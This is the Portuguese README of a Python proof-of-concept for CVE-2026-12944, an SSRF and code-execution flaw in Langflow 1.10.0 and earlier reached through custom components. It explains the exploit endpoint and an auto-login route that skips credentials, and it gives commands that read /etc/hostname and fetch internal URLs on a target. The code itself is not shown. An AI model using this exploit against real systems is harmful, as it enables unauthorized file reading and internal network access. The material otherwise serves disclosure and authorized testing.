
PoC em Python que explora o CVE-2026-12944, um SSRF no Langflow 1.10.0 via urllib em componentes personalizados, com capacidades autenticadas de leitura e busca.
Langflow OSS (≤ 1.10.0) — vulnerabilidade que permite execução de código arbitrário via urllib.request / socket em componentes personalizados.
A denylist do scanner de componentes não incluía esses módulos da biblioteca padrão. Corrigido em 1.10.1 (IBM).
Severidade: PR:L (Reprodutível Publicamente / Severidade Baixa)
Endpoint de exploração: POST /api/v1/custom_component
Requer um cookie de sessão ou bearer token.
--test — nenhuma autenticação necessária. Apenas realiza um GET /api/v1/version público.--read / --fetch — primeiro autentique-se:
GET /api/v1/auto_login. Se a resposta JSON contiver access_token, envie Authorization: Bearer … (nenhum usuário/senha necessário).POST /api/v1/login usando --uname / --password no formato application/x-www-form-urlencoded.POST /api/v1/custom_component.--uname / --password são usados apenas se o auto-login estiver desabilitado. Em uma instalação padrão de fábrica, eles são ignorados.
Apenas para testes autorizados. Não use isto contra sistemas que você não possui ou para os quais não tem permissão explícita de teste.
Requisitos: Python 3 (apenas biblioteca padrão).
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --test
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --read /etc/hostname
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --fetch http://127.0.0.1:7860/api/v1/version
python3 cve-2026-12944-langflow-urllib-ssrf.py -u https://TARGET --read /etc/hostname --insecure
python3 cve-2026-12944-langflow-urllib-ssrf.py -u TARGET --uname langflow --password langflow --read /etc/hostname
Relatório e PoC: ShadowForge Cyber